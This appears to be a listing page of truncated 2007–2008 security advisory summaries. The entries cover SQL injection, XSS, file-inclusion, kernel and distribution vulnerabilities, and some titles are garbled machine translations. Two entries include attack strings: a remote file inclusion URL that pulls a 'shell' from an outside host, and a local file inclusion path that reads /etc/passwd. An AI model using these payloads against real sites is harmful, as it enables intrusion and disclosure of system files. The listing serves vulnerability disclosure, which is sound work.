[SCANIT-2008-002] Wordtrans-web Remote Command Execution Vulnerability

Wordtrans-web Remote Command Execution Vulnerability Scanit R&D Labs Security Advisory http://www.scanit.net/rd/advisories/ Jun 30, 2008 Filename: SCANIT-2008-003.txt SCANIT ID: SCANIT-2008-003 Published: June 30th, 2008 I. Summary Wordtrans is a free front-end graphical application that allows y...

JVN#14072646 BlognPlus SQL injection vulnerability

BlognPlus from R-ONE Computer is software for creating blogs. BlognPlus for MySQL and for PostgreSQL contain a SQL injection vulnerability. According to the vendor, BlognPlus for Text is not affected by this vulnerability since it does not use a database. Impact A remote attacker could obtain...

[web-app] Tornado Knowledge Retrieval System <= 4.2 Remote XSS Vulnerability

/ | || | | | | | | | | /| | | | | || ||| ||||| || C. H. R. O. O. T. SECURITY GROUP - -- ----- --- -- -- ---- --- -- - http://www.chroot.org Hacks In Taiwan | || | | | | | | | Conference 2008 | | | | | | | | | || ||| || |||| http://www.hitcon.org Title =========:: Tornado Knowledge Retrieval Syste...

phpFix v2 Multiple SQL Injection Vulnerability

/ | || | | | | | | | | /| | | | | || ||| ||||| || C. H. R. O. O. T. SECURITY GROUP - -- ----- --- -- -- ---- --- -- - http://www.chroot.org Hacks In Taiwan | || | | | | | | | Conference 2008 | | | | | | | | | || ||| || |||| http://www.hitcon.org Title :: phpFix v2 Multiple SQL Injection...

For the Oracle TNS listener the attack methods of finishing-vulnerability warning-the black bar safety net

Author: poison/amxku Source: amxku’s blog First, depending on the version, the TNS listener may be more susceptible to a variety of types of buffer overflow attacks, these attacks can be in does not provide a user ID and password to be used. For example: in oracle 9i, when a client requests a lon...

CentOS 3 : kernel (CESA-2008:0211)

Updated kernel packages that fix various security issues and several bugs are now available for Red Hat Enterprise Linux 3. This update has been rated as having important security impact by the Red Hat Security Response Team. The kernel packages contain the Linux kernel, the core of any Linux...

scorpnews-rfi.txt

/news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to...

ScorpNews 1.0 - site Remote File Inclusion

ScorpNews 1.0 - site Remote File Inclusion /news/example.php example Exploit ; http://www.example.com/example.php?site=http://shell http://www.example.com/news/example.php?site=http://shell Greetz to; .:National Security Team:. www.crystal-war.6x.to milw0rm.com 2008-05-04...

DDIVRT-2008-11 BadBlue uninst.exe DoS

Title ----- DDIVRT-2008-11 BadBlue uninst.exe DoS Severity -------- Medium Date Discovered --------------- March 5th 2008 Discovered By ------------- Digital Defense, Inc. Vulnerability Research Team Credit: Steven James and r@b13$ Vulnerability Description ------------------------- BadBlue is a...

Windows Components 0Day vulnerabilities pass to kill IE6 and IE7 browser-vulnerability warning-the black bar safety net

China IT lab 4 on 2 1 reported: recently received a netizen sent a message, reflecting one of the Windows 0Day vulnerabilities. And in its blog is given in the relevant code. 0dayMicrosoft Works 7 WkImgSrv.dll crash POC, dll version 7. 0 3. 0 6 1 6. 0, IE7+Windows XP SP2 test. ! the following is...

Unfixed XSS vulnerability at www.lastfm.com.tr

Security researcher r@nger, has submitted on 04/05/2008 a cross-site-scripting XSS vulnerability affecting www.lastfm.com.tr, which at the time of submission ranked 10275 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 20/06/2008. It is current...

JVN#13159997 Multiple I-O DATA DEVICE wireless LAN routers default configuration does not set authentication

The authentication for the web administration interface for the WN-APG/R-Series and WN-WAPG/R-Series wireless LAN routers from I-O DATA DEVICE is disabled in the default configuration. This vulnerability may allow a remote attacker to access the web administration interface without authentication...

Unfixed XSS vulnerability at top.pin.gr

Security researcher St@R-gaZ3r, has submitted on 25/02/2008 a cross-site-scripting XSS vulnerability affecting top.pin.gr, which at the time of submission ranked 611031 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 19/03/2008. It is currently...

php Download Manager <= 1.1 Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================== php Download Manager This page has no content."; ? Exploit : Vuln.Com/include/body.inc.php?content=../../etc/passwd ---------------------------- INDEPENDENT KOSOVA H ARNAVUT...

Debian: Security Advisory (DSA-366)

The remote host is missing an update for the Debian SPDX-FileCopyrightText: 2008 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Debian Security Advisory DSA 366-1 (eroaster)

The remote host is missing an update to eroaster announced via advisory DSA 366-1. OpenVAS Vulnerability Test $Id: deb3661.nasl 6616 2017-07-07 12:10:49Z cfischer $ Description: Auto-generated from advisory DSA 366-1 Authors: Thomas Reinke Copyright: Copyright c 2007 E-Soft Inc...

GLSA-200801-02 : R: Multiple vulnerabilities

The remote host is affected by the vulnerability described in GLSA-200801-02 R: Multiple vulnerabilities R includes a copy of PCRE which is vulnerable to multiple buffer overflows and memory corruptions vulnerabilities GLSA 200711-30. Impact : An attacker could entice a user to process specially...

R: Multiple vulnerabilities

Background R is a GPL licensed implementation of S, a language and environment for statistical computing and graphics. PCRE is a library providing functions for Perl-compatible regular expressions. Description R includes a copy of PCRE which is vulnerable to multiple buffer overflows and memory...

Unfixed XSS vulnerability at www.oasa.gr

Security researcher St@R-gaZ3r, has submitted on 21/11/2007 a cross-site-scripting XSS vulnerability affecting www.oasa.gr, which at the time of submission ranked 61387 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 23/11/2007. It is currently...

Unfixed XSS vulnerability at www.neseek.com

Security researcher St@R-gaZ3r, has submitted on 21/11/2007 a cross-site-scripting XSS vulnerability affecting www.neseek.com, which at the time of submission ranked 565448 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 23/11/2007. It is...